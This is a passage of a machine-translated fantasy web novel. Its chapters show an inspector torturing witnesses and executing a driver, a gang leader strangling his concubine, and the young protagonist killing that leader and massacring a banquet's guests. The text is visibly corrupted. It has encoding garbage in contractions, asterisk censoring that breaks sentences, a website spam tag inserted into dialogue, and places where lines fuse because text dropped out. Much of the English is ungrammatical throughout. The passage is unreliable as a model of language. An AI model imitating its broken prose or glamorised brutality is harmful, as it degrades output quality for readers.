    It even made his footsteps lighter.


    Moritz was pale, and forced a smile: "Master Severus, this is the first scene where Master Copet died!"


    With that, he was about to unscrew the door.


    "Don''t move!" Severus shouted suddenly.


    Moritz trembled with fright and dared not move.


    "Master Severus, what''s the matter?"


    Severus looked at the don��t disturb sign hanging in front of the door, and said lightly: "Is the word on this sign written by Coppet?"


    "Ah, yes!"


    "What an ugly font!"


    Severus sighed, kicked the door abruptly, and stepped into it.


    The loud noise of the door being kicked opened a lot of people''s hearts, Moritz trembled even more.


    But he knew that Severus was such a moody man.


    Therefore, he did not dare to have the slightest complaint, and quickly followed.


    "Don''t come in!" Severus''s words made Moritz stop at the door again.


    Then Severus looked at the misery in the room with drunken eyes.


    The bullet-scarred corpses on the ground looked like exquisite sculptures in his eyes, making him tremble slightly.


    And Copet, who was sitting on the sofa with his head on the coffee table, made him murmur even more.


    "What a genius idea! First cut off his head at a very fast speed, and then put his head on the coffee table while Copet had not completely died, so that he could witness his own death with his own eyes! Every step It��s so coordinated and calm that everyone thinks about it and wants to cheer for it!"


    Of course, Moritz and the others didn''t hear all of his words. They just saw him standing in the room. His eyes became brighter and brighter. In the end, he even looked like a lamp, which made people afraid to look directly.


    No one dared to speak, and the entire corridor on the second floor was deadly silent.


    a long time.


    Severus finally woke up from the drunkenness, and then said without looking back, "Which waitress was there on the night of Copet''s death?"


    Moritz turned his head and asked: "Let''s check now, who was on the second floor that night!"


    As soon as the voice fell, among the crowd, Haida dressed as a bunny girl stepped forward and said calmly: "No need to check, I''ve been here!"


    There was a slight commotion among the crowd.


    Severus also turned his head to look at Haida. It took him a long time before he showed his mouth full of jagged teeth like a wolf dog, and smiled sharply: "Did you hang the sign at the door?"


    Haida nodded, "Yes!"


    "Why put up the don''t disturb sign?" Severus continued to ask.


    "Because I heard screams coming from inside at the time, I was afraid that after someone heard it, it would disturb Master Copet''s interest. There had been such a thing before, so I put the don''t disturb sign at the door! "Haida said calmly as always.


    At this time Moritz also nodded, "Yes, Master Koppert had played too much a few times before, but some guests came forward to ask questions curiously, but it disturbed his interest and finally got furious!"


    "You''re lying!" Severus ignored Moritz, just staring at Haida, and suddenly asserted.


    Haida turned pale, but still shook his head, "I don''t have one!"


    As soon as the voice fell, Severus suddenly stepped forward, straddling the distance between each other, and approaching Haida, then grabbed her neck and lifted it into the air.


    "Not only did you put up the sign, you also locked the door, and if I guessed correctly, you should have led the person who killed Copete! Right?"


    Haida''s face started to flush due to lack of oxygen, even so she shook her head as hard as she could, "No...no!"


    Severus sneered, his palms began to strain, and the leather gloves creaked.


    The immense power made Haida unable to breathe at all, she saw her hands and feet trembling, and her face was desperate.


    But at the moment she was dying, Severus suddenly let go.


    Haida fell to the ground, and then began to gasp violently.


    Severus leaned down and smiled at Haida. "Do you want to protect him?"


    Haida''s complexion flushed from lack of oxygen, but even so, she looked at Severus calmly and closed her mouth tightly.


    Severus suddenly became angry slapped Haida to the ground with a slap, then slammed her head with one foot and crushed it hard.


    With the creaking sound, Haida''s skull groaned overwhelmed by the force.


    The severe pain made her scream uncontrollably.


    Severus sneered: "Do you really think that you can hide the great night watchman? You are wrong, there is no secret that can be hidden from me! And I will not kill you now, because I want Let you stupid woman see with her own eyes the destruction of everything you want to protect!"


    At this, Severus looked mad, then raised his hand and lightly touched the void in front of him.


    The void was like a calm lake, rippled because of his clicks.


    Then the event factors that should have dissipated in the entire space began to cheer.


    In Severus''s eyes, the timeline began to shrink backwards, the event factor reunited, and all the past also appeared before Severus''s eyes.

 Chapter 1485： May the darkness be with you

    When the endless rain of bullets poured down, straight to the boy sitting on the coffee table.


    The young man suddenly raised his eyes, and then all the bullets stopped in front of him.


    Immediately afterwards, these bullets reversed their direction, turned and ran towards the shooter.


    The speed is so fast that the darkness is cut out of phantoms.


    No screams.


    Because before these people had time to react, the bullet had passed through the body, and then turned into powder.


    Immediately afterwards, these people thumped and fell to the ground, becoming dead bodies.


    Only Copet sitting on the sofa was unscathed.


    But he was obviously frightened by this scene, so when he saw this young man walking in front of him, he gave up resistance without hesitation and started begging frantically for mercy.


    But the young man ignored it, and instead asked something casually!


    Of course, because of the rules, Severus could only see the picture, but could not reproduce the sound at the time.


    Immediately afterwards, the young man waved his hand gently.


    Copet''s head fell in response, and the boy put his head on the table and put his mechanical arm aside.


    After finishing all this, the young man suddenly raised his eyes and glanced at the side.


    With this look, Severus felt that the timeline collapsed instantly, the event factor disappeared, and the illusion before him disappeared.


    But it was enough, at least he saw the image of the man who killed Copet!


    Therefore, a grinning smile appeared at the corner of his mouth. As soon as he raised his hand, the image of Xue An appeared in the air.


    "The person you want to protect, is that him?"


    After seeing this virtual image, Haida, whose face bones had been crushed, instantly shrank to the size of a pinpoint.


    She didn''t understand what was going on, but she still closed her mouth tightly and said nothing.


    "Very good! I guess I was right!" Severus whistled softly, then turned his head and smiled at Moritz.


    "Moritz, now you are taking this virtual image to investigate, who has been in contact with this young man that night, and at the same time investigating where he has gone now!"


    "Yes!"


    Moritz is indeed not smart enough, this can be seen from his performance this day.


    If you investigate a little, you can easily know that Copet��s motorcycle is gone.


    But he just did nothing.


    But he is also a very efficient person.


    Once the instructions are given above, he will complete the task in the shortest possible time.


    So in just one hour, all of Xue An''s whereabouts that night were investigated.


    At the same time, even the black car driver and Aretha, related people have been arrested back.


    Aretha still doesn''t know what happened, but she is obviously not as strong as Haida, so Severus only used some means, and she cried and said everything she knew.


    Unfortunately, no one would believe what she said.


    "Beautiful lady, you want to tell me that a young man who lives by picking up trash was bullied by Copet and others yesterday, but the next day he suddenly showed his power and twisted out poor Copet''s head. Is it?" Severus said lightly.


    Aretha, who had three nails removed, cried and said, "This is indeed the case! I didn''t tell a lie!"


    Severus raised his eyebrows slightly, then turned his head to look at the driver of the black car.


    "Do you believe?"


    The driver of the black car was so scared that he was almost incontinent. He trembled when he heard the words, "Big...sir, I don''t know! But the Andrew gave me a gear at the end, and then left on his motorcycle!"


    "Gone! Where did you go?" Severus said lightly.


    "I don''t know, but he asked me the direction to Bluestone City when he was leaving!" The black car driver said in fear.


    As soon as the voice fell, Haida suddenly let out a stern howl, apparently desperate.


    Severus smiled satisfied.


    "Sir, your honesty won my respect! This news is also very useful to me!"


    The driver of the black car took a deep breath, and then smiled flatly: "Then can I leave..."


    His words are not finished, and he will never finish.


    Because at this moment, Severus suddenly pulled out a small pistol, and one shot exploded his head.


    The huge gunfire echoed in the corridor.


    The black car driver''s head was splashed across the corridor.


    Moritz bears the brunt of it, his face was splashed all over, but he didn''t dare to wipe it, so he stood there shaking.


    Severus seemed to be very satisfied with his shot. He gently blew the muzzle of the green smoke and said lightly: "In order to express my gratitude, I decided to let you sleep under my gun. May the darkness and You are here!"


    After that, he turned to look at Aretha.


    Aretha was frightened and screamed.


    Severus smiled, "Beautiful lady, please don''t shout so loudly, your voice will be dumb! And you can rest assured, I won''t kill you two now, because you all have to wait until you see this Mr. Andrew , Is qualified to die! Now...Please let us go!"


    Severus said cheerfully.


    at the same time.


    Xue An, who was watching the night outside in front of the window on the second floor, felt a little bit, turned his head to look at the distant sky, and then frowned slightly.


    "Spy on the timeline? No, it should be some kind of secret technique tracing back through event factors! It''s interesting!"


    After speaking softly, Xue An leaned on the chair and said lightly: "Since it''s here, come in!"


    After speaking, Zhuang Linyan, who had changed his clothes, walked in.


    Different from the glamour in the daytime At this moment, Zhuang Linyan is wearing home clothes, which is more feminine, and in her hand, she also holds an invitation card.


    "My lord, this is the invitation for the auction. Then you can participate with this invitation!"


    Xue An nodded noncommitantly, "Got the invitation so soon? It seems you have been prepared!"


    Zhuang Linyan showed a wry smile, "Where is there any preparation, but one of my friends happens to be the daughter of an adult in the inner city, through her, I can get the invitation so smoothly!"


    Speaking of this, Zhuang Linyan glanced at Xue An with some doubts, "My lord, although you shouldn''t ask, the things that are auctioned at this auction are extremely precious and valuable. If you want to auction, you must go through Strict verification, I don��t know you..."


    She did have some doubts, because today she went to the inner city specially for this matter, and the friend who invited her at the time asked her these questions curiously.


    Unexpectedly, Xue An just smiled when he heard the words, "I just went to the auction to find something I wanted. As for the value...this is not in my consideration!"

 Chapter 1486： Hope tomorrow will be a good day for murder...

    This is a magnificent and almost tacky room, and various furnishings full of nouveau riche atmosphere can be seen everywhere.


    Cao Gang, the leader of the blood wolf gang, was naked to the upper body, lying on one side of the collapse, enjoying Ji concubine''s gentle massage with his eyes closed.


    At this moment, there was a running sound from outside the door, and then a subordinate appeared outside the soft curtain and said in a deep voice.


    "Leader, the news I just received from Zhuang Linyan, she already knows about tomorrow''s dinner, and replied that she will definitely come to attend tomorrow!"


    "Oh? That **** Zhuang Linyan really said that?" Cao Gang opened his eyes when he heard the words, and a vicious look flashed in his wolf-like eyes.


    "Yes, the leader!"


    "Is this **** courageous! She even dared to come, knowing that I was going to deal with her! But also, as long as she comes tomorrow, then stay and don''t go away!"


    Cao Gang showed a sneer on his face, then closed his eyes again and said lightly: "Where is the black knife?"


    "Leader, this matter is about to be reported to you! Zhuang Linyan also sent a message saying that it was the deputy gang leader and his party who were having fun in the bar, because they were so drunk, they were all drunk! I guess they won''t be able to return for the time being. coming!"


    "Drunk?" Cao Gang suddenly opened his eyes when he heard the words, a sharp light flashed in his eyes.


    "Yes!" The subordinate trembled with fright, and hurriedly lowered his head and said, "That''s what the news from Zhuang Linyan said!"


    Cao Gang''s face showed a look of suspicion, and he whispered softly: "The guy with the black knife is very vigilant. He usually drinks with me just to deal with it. Why did he get so drunk when he went to Zhuang Linyan? "


    This subordinate took a step forward and lowered his voice and said, "Leader, should I send a few people to Zhuang Linyan''s site to inquire about the reality?"


    "Inquire about the reality? What about the reality?" Cao Gang raised his eyes and glanced at his hand.


    "Of course it''s to investigate the falsehood of the deputy gang leader! In case he is not drunk, but caught by Zhuang Linyan and others, we can also help..."


    "Hehe, I didn''t see it, are you quite loyal to the black knife guy!" Cao Gang said meaningfully.


    This sentence solidified the pleasing smile on the face of this subordinate, because he suddenly remembered a rumor.


    A rumor between the gang leader and the deputy gang leader.


    This caused a cold sweat immediately appeared on his forehead, and his eyelids were beating frantically, "No... dare you! The subordinates will only be loyal to you!"


    "Humph!" Cao Gang snorted coldly, closed his eyes again, and said indifferently: "Since the deputy gang leader is already drunk, don''t disturb him! Doesn''t he like drunk life and death? Then let him be in Zhuang Linyan. Let��s continue to have fun over there!"


    "Yes!" the subordinate quickly responded.


    "Go down!" Cao Gang waved his hand casually, and the subordinate hurriedly gave a salute, and then retired.


    The room calmed down. The concubine Ji carefully beat Cao Gang''s shoulders, and then asked with some curiosity: "Helper, if you don''t save it, what should the deputy helper do if something goes wrong?"


    Cao Gang smiled coldly, "Something happened? Ha ha, why do you think I should send a black knife out?"


    This concubine Ji suddenly understood something, her face suddenly became pale, her lips closed tightly, and she dared not speak anymore.


    The room was calm again.


    Cao Gang closed his eyes and whispered softly: "Drunk? Haha, it''s okay to deceive a child by this kind of words. How could it be possible to hide it from me? If I didn''t guess wrong, the guy with the black knife might already be there. Die!"


    "But why do you use such a clumsy excuse to cover up? And you dare to go to tomorrow''s luncheon, I am really puzzled, what gives you so much courage, so that you are so blind and confident? ?"


    Speaking of this, the corner of Cao Gang''s mouth showed a sneer, "But it''s useless, no matter what means you have, in front of absolute power, you have to bow your head obediently and become my...forbidden and plaything!"


    Although Cao Gang''s self-talking voices were very small, many of them floated to this concubine Ji''s ears, making her face paler.


    As Cao Gang''s plaything, although she doesn''t know much about the blood wolf gang, she also knows that in the past few years, the deputy leader of the black knife has risen rapidly, and her power has grown extremely fast, and she has faintly resisted Cao Gang.


    In the face of this situation, Cao Gang has always been very generous, as if he didn''t mind at all.


    But I never expected that there were so many plots and scheming behind the scenes.


    I have to admit that Cao Gang''s use of the knife to kill is very skillful, and there is no risk.


    Now the black knife died in Zhuang Linyan''s hands, even if he did not die, but returned safely, Cao Gang did not lose the slightest bit.


    The depth of concealed scheming is completely different from the roughness and brutality that Cao Gangping has shown.


    How could this not make this concubine Ji frightened, wishing to block her ears completely, it''s better not to hear anything.


    Therefore, she didn''t pay attention to the panic in her heart. The strength in her hand was a little bit stronger, and her long nails scratched Cao Gang''s back with blood.


    Cao Gang frowned slightly, then opened his eyes and turned to look at the concubine Ji.


    At this moment, the concubine Ji was shaking all over, and she said in horror: "Help...help master, I...I didn''t mean it, please don''t kill me!"


    A faint smile appeared on Cao Gang''s face, "What are you talking about! You have served me for so many years, how can I be willing to kill you!"


    Concubine Ji''s complexion was still pale, and she looked at Cao Gang with tears, "Helper..."


    "come!"


    Concubine Ji tremblingly leaned down and came to Cao Gang.


    "It''s really smooth skin!" Cao Gang gently kneaded the woman''s long neck, and exclaimed.


    "Helper!" Concubine Ji shouted desperately Good, close your eyes, soon, it doesn''t hurt at all! "Cao Gang said with a smile.


    "No..." Concubine Ji was about to scream.


    Cao Gang''s hand twisted without hesitation.


    Click!


    This concubine Ji''s neck was broken, her head drooped in front of her chest at a weird angle, and then she fell to the ground and died absolutely.


    Cao Gang sighed softly, "Why should you be so careless? It hurts the noble me! So I have to ask you to die, remember to pay attention in the next life!"


    For Cao Gang, the death of a woman is completely trivial. Even if this woman had served him for a long time, it was just a plaything.


    So when the body of this concubine Ji was carried out, it did not arouse the slightest disturbance in Cao Gang.


    He looked at the gloomy sky outside the window and said lightly: "It''s going to rain! I hope tomorrow... it will be a good, murderous weather!"

 Chapter 1487： Is it him that you said?

    A heavy rain swept across the entire bluestone wilderness, and the torrential rain fell like a Tianhe River from early morning to evening.


    But thanks to the underground drainage facilities that were built in the heyday of civilization, there was not much water in the entire Bluestone City in the face of such heavy rain.


    And some of these drainage facilities have even gone through tens of thousands of years, but they are still functioning normally, which shows how terrifying the alchemical civilization in its heyday was.


    But the endless wilderness outside Bluestone City is not so good.


    Severus walked hard in the rain, and the meticulous hair that was once combed was now a bit messy because of the difficult journey.


    Of course the aircraft cannot be used in such weather.


    Although a mechanical walker is used extravagantly, in this weather, no matter how good the walker is, it will not bring any good feelings.


    This also invisibly made Severus''s speed slow, especially when there were a few people **** in the trailer behind him.


    Severus stopped, looked up at the rainy sky, and said quietly, "What a **** of weather!"


    After that, he turned his head and looked at the trailer covered by the rain cloth, with a wicked smile on his face.


    "But two beautiful ladies, you don''t have to worry! Because it is so difficult to go regardless of the pipeline, I will let you see a **** feast as expected!"


    In the trailer, Haida and Aretha, who were tightly bound with their limbs, all looked horrified.


    But their mouths were blocked tightly, and there was no sound at all. They could only whimper and struggle a few times, but it didn''t help.


    "Hey, it''s been a long time since I felt this kind of excitement, I really look forward to seeing this boyhood!"


    Severus laughed nervously, but his eyes were filled with deep cold, then he turned around and continued to walk down firmly.


    In this wilderness covered by heavy rain, he was like a ghost crawling out of hell, rushing towards the direction of Bluestone City step by step.


    Xue An likes rainy days, especially sitting in a dry and warm house, watching the storm outside through the glass windows. This feeling will make you feel calm.


    Xue An just sat on the sofa in front of the second floor window and watched quietly.


    Until dusk, the rain gradually decreased.


    A ray of sunlight penetrating through a gap in the thick clouds shone on the street, giving people a particularly desolate feeling.


    In this case, a convoy suddenly penetrated the rain curtain and appeared on the street, and in the center was a modified extended sedan.


    The convoy drove slowly to the door of the small building, and then stopped.


    When the door of the car in the middle was opened, some of his men had long ago put up a huge umbrella. Zhuang Linyan was wearing an exquisite black evening dress with a pair of high heels under his feet, and then he got out of the car.


    I have to admit that when she dressed up specially, the charm of that kind of mature woman was enough to surprise everyone.


    Zhuang Linyan''s beautiful eyes flowed, his eyes stopped for a moment in front of the window on the second floor, and then he took a deep breath and stepped into the small building.


    Xue An showed a faint smile, then stood up, turned and went downstairs.


    "My lord, are you ready? We are going to set off now!" Zhuang Linyan asked solemnly.


    "Ready?" Xue An smiled and shook his head, "No need, let''s go!"


    "But you... just go like this?" Zhuang Linyan was a little surprised.


    "What''s wrong? Is there any problem?" Xue An raised his eyebrows slightly and said lightly.


    "Uh... well, let''s go!"


    Zhuang Linyan was still a little uneasy in her heart until she got into the car.


    She always felt that Xue An didn''t seem to take this banquet seriously.


    Although Xue An''s strength was enough to convince her, this time it was the Blood Wolf Gang who had been entrenched in the outer city of Bluestone for decades!


    In particular, Cao Gang, the current leader of the Blood Wolf Gang, is an extremely cunning and powerful existence.


    If such an opponent underestimates the enemy, the consequences are unpredictable.


    But she didn''t dare to say it directly, because she knew that strong men like Xue An must have their own arrogance, and if they were reminded directly, they would probably be evil.


    Therefore, she pondered for a long time before she said solemnly: "My lord, after that, your goal is only Cao Gang. I have arrangements for the rest, so you don''t need to bother!"


    Hearing the words, Xue An retracted his gaze from the scenery outside the car window, looked up at Zhuang Linyan, and then said with a smile, "You have no confidence in me?"


    Zhuang Linyan shook her head quickly, "No, I didn''t mean that, I just..."


    Xue An waved his hand, "Okay, I understand, you mean I only need to kill that Cao Gang then, right?"


    "Yes!" Zhuang Linyan nodded in response.


    "Yeah! That''s okay!" After that, Xue An continued to look at the raindrops splashing out of the car window because the car was passing by.


    The place of this luncheon was set up in a hotel in the middle of the outer city of Qingshi.


    This is the central point of all forces, and because this hotel has the background of a big figure in the inner city, no forces dare to make trouble here, so it is very suitable for holding this kind of banquet that all forces must attend.


    When Zhuang Linyan''s motorcade slowly drove into this hotel, there were already many vehicles parked in front of the hotel.


    Without exception, it is the car of the big guys from all over the city.


    After Zhuang Linyan got out of the car, she raised her eyes and glanced, and she couldn''t help but feel surprised.


    Because just a cursory glance can tell that almost all the big guys from the outer city are here.


    It can also be seen from this battle how powerful the blood wolf gang is now.


    This couldn''t help making Zhuang Linyan''s heart sink gradually.


    Xue An just smiled faintly, "Let''s go!"


    After that, he took the lead and walked forward.


    Zhuang Linyan was startled, and then hurriedly followed.


    When I walked into the hall, there was already a lot of people here.


    The big guys from all sides gathered together and were talking and laughing.


    But when Zhuang Linyan and his party walked in, the noisy hall instantly quieted down.


    Many people looked at Zhuang Linyan with weird eyes.


    Zhuang Linyan''s heart became more and more disturbed, but at this point, she could only bite the bullet and continue to hold on.


    But at this time, many people''s eyes were attracted by Xue An, who was walking in the front.


    Who is this boy?


    How could he walk in front of Zhuang Linyan?


    These questions lingered in everyone''s minds.


    However, those who can appear here are all human spirits, so soon the hall returned to normal.


    But this time, many people unconsciously kept a distance from Zhuang Linyan and others and then stood far away and whispered.


    "Is this Zhuang Linyan crazy? Actually dare to come? Didn''t she know that Cao Gang was specifically dealing with her this time?"


    "Huh, overwhelming!"


    "Hehe, a woman is a woman! Who can you blame for your own death?"


    "But who is this boy? Why have you never seen it?"


    "It looks pretty good, maybe this is Zhuang Linyan''s concubine!"


    All kinds of speculations and arguments made the whole hall become lively.


    Zhuang Linyan''s face became paler, and her body was trembling unconsciously.


    At this moment, there was a tumult at the entrance of the hall, and then Cao Gang walked in with a red face.


    Zhuang Linyan trembled, and then infinite hatred appeared in his eyes.


    Xue An smiled upon seeing this, and said lightly: "Is that the person you are talking about?"

 Chapter 1488： I was hired by her to kill you

    Zhuang Linyan nodded, and said in a voice that suppressed her hatred: "Yes! He is Cao Gang, the leader of the Blood Wolf Gang!"


    "Oh!" Xue An replied meaningfully, and then stopped talking.


    At the same time, Cao Gang, who entered the hall, nodded proudly at the group of people who were flattering him.


    "It''s such a heavy rain, you can come to join in, I really make Cao very grateful!"


    There was a tumult from the crowd, and many people from the small gang shouted.


    "Lead Cao is too polite!"


    "Yes, it is also our honor to be invited by the Cao Clan Leader!"


    For a while, flattery and flattering words were flying all over the sky, but Cao Gang was very useful.


    He rolled his eyes, looked around the audience, and when he saw Queen Zhuang Linyan standing in the distance, his eyes lit up.


    Zhuang Linyan was **** and charming in an evening gown. Cao Gang''s heart was surging, so he showed a faint smile, walked through the crowd, and walked straight over.


    "Miss Zhuang, it''s been a long time since I saw you, you really have become more and more beautiful!" Cao Gang said with a smile, looking very polite.


    It''s just that this attitude is really inconsistent with his sturdy bear-like body, full of a sense of disharmony.


    Zhuang Linyan''s face was frosty, and her eyes were full of murderous intent.


    If possible, she really wished to rush forward and kill the murderer who killed her brother now.


    But the remaining reason made her calm down, snorted coldly from her nostril, and said in a cold voice: "Cao Gang, you are very costly [Danmei novel www.zmxsw.xyz] Zhou Zhang invited me to come and participate. This dinner is not just to compliment me, right?"


    Cao Gang chuckled, "Ms. Zhuang is too good at joking. I am hosting this dinner for the purpose of discussing the way forward! After all, Ms. Zhuang, you and the female stream are supporting such a large site. It is really hard, Cao Some talented person wanted to share the burden for Girl Zhuang! I wonder what Ms. Zhuang thinks?"


    These remarks were succinct, but they couldn''t hide the aggressive banditry in the words.


    At least Zhuang Linyan laughed back when he heard the words, "Cao Gang, don''t you feel blushing when you say this? I am not working hard, do I have a half-cog relationship with you? It''s not your turn to share the burden for me. !"


    With Zhuang Linyan''s statement, the atmosphere instantly became tense.


    The big guys from all sides watched with piercing eyes, no one dared to speak, and the hall was quiet.


    Cao Gang looked at Zhuang Linyan with a sinking face. Only after a long while, he laughed strangely, "Okay! What a brave heroine, but girl Zhuang, I have to ask you something, our blood wolf gang Hei Dao, the deputy head of the gang, went to send you a letter yesterday, but he hasn��t come back yet. What is going on?"


    Zhuang Linyan and the subordinates who came in with her all changed slightly, and no one thought that Cao Gang would suddenly ask such a question.


    But Zhuang Linyan reacted quickly and said solemnly: "Didn''t I say it yesterday, Black Knife was drunk in my bar at the time, but now where he went, I don''t know!"


    "Haha! Miss Zhuang, do you think I will believe these words? Black Blade is the deputy head of our blood wolf gang, not a three-year-old child. He disappeared after sending the letter to you, and now there is no life or death. Corpse, don''t you think you should give me an explanation?"


    This is a perfect trick to kill with a knife. Not only does it use Zhuang Linyan''s hand to get rid of the confidant''s black sword, but it can also use this matter to question Zhuang Linyan and form a favorable situation for her.


    The various calculations and plans are not unskillful.


    At least at this moment Zhuang Linyan was speechless.


    And Cao Gang obviously didn''t intend to let go of this rare opportunity, only to see a sarcasm on his face.


    "Almost forgot, Miss Zhuang! There is another great gift, but I prepared it carefully for you, I hope you will like it!"


    As he said, Cao Gang raised his hand and lightly tapped a few palms.


    Happiness!


    With clear applause, seven or eight people walked out of the crowd.


    These people are tall, short, fat and thin, but without exception, they are all big bosses in the outer city.


    After seeing these seven or eight people, Zhuang Linyan instantly understood something, and her face suddenly turned pale.


    Cao Gang laughed more freely when he saw this, "Miss Zhuang, who are these people, I don''t need to introduce you to me!"


    As he said, he winked at these people.


    These people stepped forward and took out a list from their arms.


    "Miss Zhuang, I''m really embarrassed! The gifts you gave us are really no blessings for us. You should take them back!"


    "Yeah! No matter how much money you spend, we can''t be against the Cao Gang!"


    "Yes, you still obediently follow Cao''s gang leader! Please forgive us for this matter!"


    Every word made Zhuang Linyan''s complexion white, and in the end her whole body trembled slightly.


    "You...you..."


    Zhuang Linyan was almost mad.


    These people are the backhands that Zhuang Linyan specially laid out to deal with Cao Gang. She was running around all day yesterday.


    After spending a lot of money, and then personally visited the door, just want these people to join hands with him to deal with this Cao Gang.


    At that time, these people agreed very readily, and slapped their chests, vowed to abide by the promise and fight Cao Gang to the end.


    With such a promise, Zhuang Linyan was naturally full of joy and thought that there was much to be done.


    But it never expected that the group of people who had promised very happily would turn back on the spot and sold themselves completely.


    And looking at it this way, these guys obviously had colluded with Cao Gang a long time ago.


    It can be seen that this is a trap from beginning to end, just blinding myself, and playing like a fool.


    How could this not make Zhuang Linyan angry, but besides the anger, there was more despair.


    Could it be that I really can''t avenge my brother?


    At this time, Cao Gang chuckled and said: "Miss Zhuang, you have also seen that these little tricks of yours are completely under my control, so the person who knows the current affairs is a good master, or surrendered the site obediently, and then invested in my command. This way I can save your life! Otherwise..."


    "Otherwise?" Xue An, who had been standing silently to the side, even made everyone ignore it, suddenly asked with a smile.


    Cao Gang was startled, and then he noticed Xue An on the side. He looked up and down a few times, then sneered, "Who are you again?"


    Zhuang Linyan suddenly yelled: "The mission is cancelled, you can go!"


    But Xue An only smiled faintly when he heard the words, "Sorry, what I promised must be done!"


    After that, he raised his hand and pointed at Zhuang Linyan It doesn''t matter who I am, you just need to know that I am the one she hired to kill you! "


    These words made the audience quiet down instantly.


    It wasn''t until a long time that there was an uproar.


    Cao Gang was even more astonished and inexplicable. He didn''t understand until after a while, and then said with a smile, "You were hired by her to kill me? Boy, you''re afraid it''s not funny!"


    As he said, he laughed loudly.


    Amidst the laughter, Xue An sighed lightly, and then stretched out a finger.


    "What do you mean?" Cao Gang asked contemptuously, out of breath.


    "After a breath, you will die without a place to bury you!" Xue An said lightly.


    "Hahahahaha! Really? Then I''m so scared!" Cao Gang laughed louder, and the audience burst into laughter.


    Xue An also smiled, with an understatement in his smile, and then raised his hand, slowly splitting a palm.

 Chapter 1489： Great bargain, I will do the rest...

    Cao Gang is a tough guy.


    At least he always thought so.


    This kind of hardship is not only reflected in the brutal behavior, but also in the strength of the body.


    In fact, in order to improve his strength, long ago, he spent a lot of money and asked a skilled alchemist to replace all his bones with cold metal.


    As a result, his entire body became extremely hard, even comparable to armor.


    The name Cao Gang was also changed from that time.


    After so many years of hard work, his strength has become even more powerful.


    Cao Gang was even confident that he could face a high-ranking alchemist without losing his mind.


    Of course, the premise is that the high-ranking alchemist does not use those strange alchemy machinery.


    But this is already breathtaking strength.


    At least in the outer city of Bluestone, and even the entire Bluestone City, his strength has to be considered middle and upper.


    What strong strength brings is tyrannical confidence.


    Especially when he saw Xue An''s fluttering palm without the slightest smoky air, the ridicule on his face was almost overflowing.


    So he didn''t even hide, he just stood there so carelessly, ready to fight back by relying solely on his tyrannical body.


    Of course, all this was because he couldn''t detect any alchemy fluctuations from Xue An''s body, which clearly showed that Xue An was not an alchemist.


    In addition, Xue An was thin and thin, so he was so dismissive, and didn''t take this palm seriously.


    Snapped!


    There was a soft noise.


    Xue An''s palm lightly patted Cao Gang''s shoulder.


    The voice is slightly like a fight between friends.


    Everyone present sneered.


    Cao Gang didn''t care even more, grinning and said, "Boy, you..."


    The rest of the story is not finished, and it will never be finished.


    Because at this moment, a turbulent and majestic force that seemed to fall from the sky came crashing.


    In front of this huge force, Cao Gang''s proud and arrogant body was like a clay sculpture, unable to even struggle, and it disintegrated in an instant.


    At this moment, Cao just woke up and screamed in horror: "Ah, ah, no..."


    Unfortunately, everything is too late.


    This huge force was like destroying the dry and decayed, directly destroying Cao Gang''s hard body, including the metal that constituted the bones, at the same time, it was broken into dust.


    In just one breath, Cao Gang''s screams stopped abruptly, and he fell to the ground like a puddle of mud, blood seeping out of itself, and then winding along the smooth floor.


    But at this moment, a faint brilliance that was not easily noticed rose from Cao Gang''s flesh and blood, flew into Xue An''s palm, and disappeared.


    From beginning to end, the floor under Cao Gang''s feet did not tremble at all.


    But Cao Gang, who had just survived, was like a rag doll that had been discarded, limp to the ground, completely cut off from life.


    And on his face, the fear and regret before dying were still frozen, as if he couldn''t believe that he died like this.


    The audience was deadly silent, only the sound of torrential rain from outside the window reminded people that this was an extraordinary rainy night.


    At this time, Xue An lightly clapped his hands and smiled slightly at Zhuang Linyan who was also shocked.


    "It seems... my task has been completed!"


    Zhuang Linyan trembled all over, only then recovered a little sober, and then looked at Xue An blankly, not knowing what to say for a while.


    She naturally knew Xue An''s strength, but she didn''t expect to be so powerful.


    I thought that even if he could kill Cao Gang, he would have to pay a huge price.


    It turned out to be such an understatement, as if a palm that was not focused at all, directly ended Cao Gang''s life.


    This also made Zhuang Linyan completely lost in speechlessness and shock.


    At this moment, Xue An looked around the audience, especially his eyes swept over the people just now, and then slightly frowned, "What a bunch of dirty souls!"


    As he said, Xue An raised his eyes and smiled at Zhuang Linyan, "Miss Zhuang, I''m not doing anything else today, so I''ll just give you a big bargain, and I will help you clean up this group of people!"


    promotional sales����.


    This word is placed at this time, how weird it sounds!


    But Xue An was obviously interested, and before Zhuang Linyan could react, he smiled slightly at the so-called big guys present.


    "Good evening everyone, I will take you on the road today! Hope... you will like it!"


    The words were very polite, but the wild murderous intentions contained in them made everyone shudder.


    "No! This matter has nothing to do with me, how can you kill the innocent like this?"


    "Yes, this is what the Blood Wolf Gang did. You can''t do this to us!"


    These shouts came and went one after another, and many people were even more angry, and then backed away.


    Xue An stood in the same place and smiled lightly at the chaotic, fleeing crowd.


    "If I didn''t kill a few people, I really failed such a rainy night!"


    "So, you should enjoy the time below obediently!"


    As he said, Xue An suddenly stomped.


    boom! The whole hotel began to shake violently.


    At the same time, a person was also making a similar sigh.


    Severus, the night watchman, finally crossed the wilderness and came to Bluestone City.


    Under the violent storm, his whole body was soaked.


    But even so, he couldn''t help but look up at the bluestone city hidden in the heavy rain, and then whistled softly.


    "Tsk tusk, it''s such a murderous weather!"


    As he said, there was a touch of tenderness in his eyes, as if the hardships along the way were all resolved at this moment.


    A rustling sound came from the trailer behind him.


    Severus smiled slightly, "Beautiful lady, don''t worry, we have arrived at our destination, and I can already smell the breath of this boy! It''s really intoxicating!"


    "So, we will meet soon!"


    With that, Severus took a pocket watch out of his arms, and the hands of the watch began to tremble slightly, then gradually shifted, and finally pointed in a direction.


    "It seems that this gentleman is not too far away from us, this is really great!"


    Severus put away his pocket watch, said with a smile, then stepped into the darkness step by step.


    He walked very fast, and there was no water in the roads in Bluestone City, so in a while, Severus had already arrived outside the hotel in the middle of the outer city.


    When the magnificent hotel in the distance appeared in his sight, Severus''s face showed a sinister and arrogant smile.


    But at this moment, the entire hotel suddenly began to tremble violently, and then under Xue An''s foot, it began to collapse.


    Such a huge movement broke the calm of rainy night.


    Severus was startled, and the scene that appeared immediately caused his pupils to shrink to the size of a needle.


    In the collapsed hotel, there are countless figures running around, but before these people can penetrate the rain curtain, a ray of light cut across their necks aroused a patch of red Blood mist.


    Then these figures stopped abruptly, and finally fell into a puddle of rain and blood, becoming a dead body.


    At the same time, a huge pillar of fire rose up throughout the hotel.


    The dancing fire snakes reflected half of the sky in bright orange-red colors.


    In the heavy rain, the crowd fell in pieces and returned to the darkness.


